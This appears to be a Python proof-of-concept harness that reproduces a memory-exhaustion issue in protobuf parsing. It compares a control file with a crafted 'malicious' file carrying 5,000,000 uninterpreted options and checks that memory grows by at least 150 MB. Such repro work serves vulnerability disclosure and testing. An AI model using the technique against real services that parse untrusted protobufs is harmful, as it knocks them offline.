#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import time
from pathlib import Path

from google.protobuf import descriptor_pb2


ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"


def vmhwm_kb() -> int | None:
    with open("/proc/self/status", "r", encoding="utf-8", errors="ignore") as fh:
        for line in fh:
            if line.startswith("VmHWM:"):
                return int(line.split()[1])
    return None


def parse_one(path: Path) -> dict:
    start = time.time()
    before = vmhwm_kb()
    msg = descriptor_pb2.ExtensionRangeOptions()
    msg.ParseFromString(path.read_bytes())
    after = vmhwm_kb()
    agg_len = len(msg.uninterpreted_option[0].aggregate_value) if msg.uninterpreted_option else 0
    return {
        "path": str(path),
        "elapsed": time.time() - start,
        "vmhwm_before_kb": before,
        "vmhwm_after_kb": after,
        "uninterpreted_option_len": len(msg.uninterpreted_option),
        "first_aggregate_value_len": agg_len,
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--control",
        type=Path,
        default=ARTIFACTS / "control_one_extensionrange_uninterpreted_option.pb",
    )
    parser.add_argument(
        "--malicious",
        type=Path,
        default=ARTIFACTS / "malicious_extensionrange_uninterpreted_option_5000000.pb",
    )
    parser.add_argument("--json-out", type=Path)
    args = parser.parse_args()

    control = parse_one(args.control)
    malicious = parse_one(args.malicious)
    summary = {
        "format": "Protocol Buffers",
        "protobuf_version": __import__("google.protobuf").protobuf.__version__,
        "entrypoint": "descriptor_pb2.ExtensionRangeOptions().ParseFromString(...)",
        "control": control,
        "malicious": malicious,
        "delta": {
            "elapsed_ratio": malicious["elapsed"] / max(control["elapsed"], 1e-9),
            "vmhwm_delta_kb": malicious["vmhwm_after_kb"] - control["vmhwm_after_kb"],
            "uninterpreted_options_added": malicious["uninterpreted_option_len"] - control["uninterpreted_option_len"],
            "repro_ok": (
                control["uninterpreted_option_len"] == 1
                and malicious["uninterpreted_option_len"] == 5_000_000
                and malicious["vmhwm_after_kb"] - control["vmhwm_after_kb"] >= 150_000
            ),
        },
    }
    if args.json_out:
        args.json_out.write_text(json.dumps(summary, indent=2) + "\n")
    print(json.dumps(summary, indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())